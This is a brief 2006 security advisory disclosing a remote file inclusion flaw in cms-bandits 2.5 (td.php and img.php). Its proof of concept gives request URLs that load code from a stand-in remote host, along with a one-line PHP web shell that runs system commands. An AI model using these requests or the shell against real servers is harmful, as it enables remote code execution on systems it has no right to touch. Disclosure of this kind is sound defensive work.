cms-bandits2.5.txt

`-----------------------------------------------------  
Advisory id: FSA:006  
  
Author: Federico Fazzi  
Date: 08/06/2006, 11:09  
Sinthesis: cms-bandits 2.5, Remote command execution  
Type: high  
Product: http://sourceforge.net/projects/cms-bandits  
Patch: unavailable  
-----------------------------------------------------  
  
  
1) Description:  
  
Error occured in td.php,  
  
include $spaw_root.'class/util.class.php';  
include $spaw_root.'class/lang.class.php';  
  
  
Error occured in img.php,  
  
include $spaw_root.'class/util.class.php';  
include $spaw_root.'class/lang.class.php';  
  
required register_global = On,  
The users can include a remote file because  
the $spaw_root is undeclare.  
  
2) Proof of concept:  
  
http://127.0.0.1/cms/dialogs/td.php?spaw_root=[cmd_with_final_slash]  
http://127.0.0.1/cms/dialogs/img.php?spaw_root=[cmd_with_final_slash]  
[cmd_with_final_slash] = http://example/cmd.php/  
cmd.php = <?php system("commands here"); or passthru ?>  
  
3) Solution:  
  
sanitized the variable on img.php, td.php.  
`